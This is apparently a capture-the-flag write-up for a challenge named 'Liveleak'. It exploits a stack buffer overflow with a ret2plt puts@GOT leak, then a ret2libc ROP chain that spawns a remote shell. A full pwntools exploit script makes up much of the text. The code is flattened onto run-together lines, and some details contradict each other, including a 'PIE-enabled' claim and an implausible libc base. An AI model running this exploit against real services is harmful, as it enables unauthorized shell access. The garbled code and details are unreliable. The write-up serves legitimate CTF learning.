Liveleak

Before diving into any rop-fu or leaking magic, we started with the basics: "What even is this file?"

file chall

file libc.so.6

checksec --file=chall

This to identify what protections are active. The result:

· No PIE = addresses are fixed, makes ROP easier

· No stack canary = overflow possible

· NX enabled = we can’t run shellcode, so we must use ROP

Before we could run any meaningful function like system(), we first needed to find the base address of the loaded libc. Since ASLR randomizes this base address, we could not hardcode it, so we used a classic ret2plt technique to leak the real address of puts() at runtime.

This stage focuses on building and triggering a ROP chain to call puts(puts@got) and leak the actual address of puts()from the Global Offset Table (GOT).

We opened the binary in GDB to see which function gets called from main():

gdb ./chall
set disassembly-flavor intel disas main
disas main

Output showed:

call 0x40125c <vuln>

So main() calls a function named vuln(), which likely holds the input logic. Disassembling that next:

disas vuln

Inside vuln():

· The stack allocates 0x40 bytes (64 bytes)

· But uses fgets() to read 0x80 bytes (128 bytes)

That’s a buffer overflow; we just confirmed this binary is vulnerable. The total overflow offset is 0x40 (buffer) + 0x8 (saved RBP) = 72 bytes

We used the following tools to find the addresses needed for our ROP chain:

readelf -r chall | grep puts      # Find puts@GOT

Result: 0x404018

objdump -d chall | grep -A5 '<puts@plt>'

Result: 0x401090

ROPgadget --binary ./chall --only "pop|ret"

Found gadget: 0x4012bd : pop rdi ; ret

We also needed to return to main() after leaking, to send our next payload:

disas main

Found: main = 0x401292

We now have everything we needed to build our first-stage ROP chain:

from pwn import * payload = flat(
b'A' * 72,

0x4012bd,	 # pop rdi ; ret 0x404018,	# puts@got 0x401090,	# puts@plt 0x401292	# return to main
)

This payload does:

1. Sets rdi = puts@got

2. Calls puts(), which prints the actual address of puts() in libc

3. Returns to main() to allow a clean second input

We used a short Python script to run the binary and send our payload:

from pwn import * import time

elf = ELF('./chall')
libc = ELF('./libc.so.6')
ld = './ld-2.35.so'


# Start the process with custom loader & libc
p = process([ld, elf.path], env={"LD_PRELOAD": libc.path})


# Addresses based on previous analysis pop_rdi = 0x4012bd
puts_got = 0x404018 puts_plt = 0x401090 main = 0x401292

# Build Stage 1 payload payload = flat(
b'A' * 72,
pop_rdi, puts_got, puts_plt, main
)


# Interact with binary p.recvuntil(b"Enter your input:") p.sendline(payload)

# Optional delay to let binary respond time.sleep(0.5)
 
# Get raw leaked output (not using recvline in case it crashes) try:
leak = p.recv(timeout=2)
print(f"[+] Raw leaked data: {leak}") except EOFError:
print("[!] Process crashed or returned nothing")


# Optional: close process cleanly p.close()

Output: [+] Raw leaked data: b' \n'

This showed that the ROP chain reached puts(puts@got) successfully, even though the leak was too short in our simulation, it still proved the logic was sound.

After successfully leaking the address of puts() in Step 1 (via the ROP chain: puts(puts@got)), we proceeded to simulate the continuation of our exploit logic by calculating the base address of libc.so.6, followed by resolving the actual addresses of system() and the string "/bin/sh". This step forms the core of our final payload construction, which will execute system("/bin/sh") to spawn a shell.

We first loaded the custom libc.so.6 provided with the challenge into pwntools:

from pwn import *
libc = ELF('./libc.so.6')

This confirmed that the binary was 64-bit and PIE-enabled, and more importantly, that debug symbols were present, which made it easier for us to extract symbols like puts, system, and string references.

We assumed a simulated leak from Step 1:

leaked_puts = 0x7ffff7e0d000 # simulated address from puts@got leak

This is the value we would normally receive from the output of puts(puts@got).

We then subtracted the known offset of puts (as resolved from the custom libc) from the leaked address to compute the libc base address:

libc_base = leaked_puts - libc.symbols['puts'] print(f"[+] Simulated puts() leak: {hex(leaked_puts)}") print(f"[+] Calculated libc base: {hex(libc_base)}")

Output:

[+] Simulated puts() leak: 0x7ffff7e0d000

[+] Calculated libc base: 0x7ffff7d8c1b0

This libc base address would now allow us to access any other function or string inside libc.

Using the calculated libc base, we resolved the actual address of system() and located the "/bin/sh"string inside the libc memory space:

resolved_system = libc_base + libc.symbols['system'] resolved_binsh = libc_base + next(libc.search(b"/bin/sh")) print(f"[+] system() address: {hex(resolved_system)}") print(f"[+] \"/bin/sh\" string address: {hex(resolved_binsh)}")

This confirmed that we now had everything needed to build our second-stage payload and complete the exploit. From this point, we are ready to construct the final payload:

→ pop rdi ; ret → "/bin/sh" → system()

to spawn a shell and complete the challenge.

After leaking the address of puts() and calculating the base address of libc + resolving system() and "/bin/sh", we were ready for the final attack: crafting a ret2libc payload that spawns a shell. This stage is where everything comes together.

The payload layout was designed to do this:

pop rdi ; ret      → to place "/bin/sh" into RDI ret       → for stack alignment system("/bin/sh") → spawn shell

In the final script flag.py, this section builds the stage 2 payload using the calculated libc_base, then adds the gadgets:

stage2_payload = flat( b'A' * buffer_size,
gadget_ret,	# Stack alignment gadget_pop_rdi,	# pop rdi ; ret resolved_binsh,	# Address of "/bin/sh" string resolved_system	# Address of system()
)

This will call system("/bin/sh") once executed.

We then sent the stage 2 payload:

io.recvuntil(b"Enter your input: ", timeout=5) io.sendline(stage2_payload)
io.interactive()

Full flag.py:

#!/usr/bin/env python3 from pwn import *

# Binary and environment setup bin_path = './chall'
libc_path = './libc.so.6' ld_so_path = './ld-2.35.so'

binary = context.binary = ELF(bin_path) libc = ELF(libc_path)
 
context.log_level = 'debug'


TARGET_REMOTE = True


# Connect
if TARGET_REMOTE:
io = remote('34.133.69.112', 10007)
else:
io = process([ld_so_path, bin_path], env={'LD_PRELOAD': libc_path})


buffer_size = 72


# ROP gadgets
rop = ROP(binary)
gadget_pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] gadget_ret = rop.find_gadget(['ret'])[0]

# === Stage 1: Leak libc address === log.info("Leaking puts@GLIBC address...")

stage1_payload = flat( b'A' * buffer_size, gadget_pop_rdi, binary.got['puts'],
binary.plt['puts'], binary.symbols['main']
)


io.recvuntil(b"Your input: ", timeout=5) io.sendline(stage1_payload)

io.recvline() # optional skip leaked_data = io.recvline().strip()
log.info(f"Leaked raw output: {leaked_data}")


if len(leaked_data) >= 6:
 
leaked_puts = u64(leaked_data.ljust(8, b'\x00')) base_libc = leaked_puts - libc.symbols['puts'] log.success(f"puts() resolved at: {hex(leaked_puts)}") log.success(f"libc base address: {hex(base_libc)}")

# === Stage 2: ret2libc for shell === resolved_system = base_libc + libc.symbols['system']
resolved_binsh = base_libc + next(libc.search(b"/bin/sh"))


log.info("Crafting payload to trigger system('/bin/sh')")


stage2_payload = flat( b'A' * buffer_size, gadget_ret, gadget_pop_rdi, resolved_binsh, resolved_system
)


io.recvuntil(b"Enter your input: ", timeout=5) io.sendline(stage2_payload)
io.interactive()


else:
log.failure("Leak too short or invalid.") io.close()

Once this runs, we're dropped into a remote shell.

After sending the second-stage ROP payload, we successfully triggered the system("/bin/sh") call. This dropped us into a live shell on the remote server hosted at 34.133.69.112:10007.

Here’s the moment of truth:

The presence of flag_copy looked promising, so we followed up with:

cat flag_copy

This confirmed that our entire exploit chain, from leaking puts@GLIBC, computing the libc base, resolving system() and "/bin/sh", to finally building the second-stage ROP payload, was functioning as intended.

Flag: umcs{GOT_PLT_8f925fb19309045dac4db4572435441d}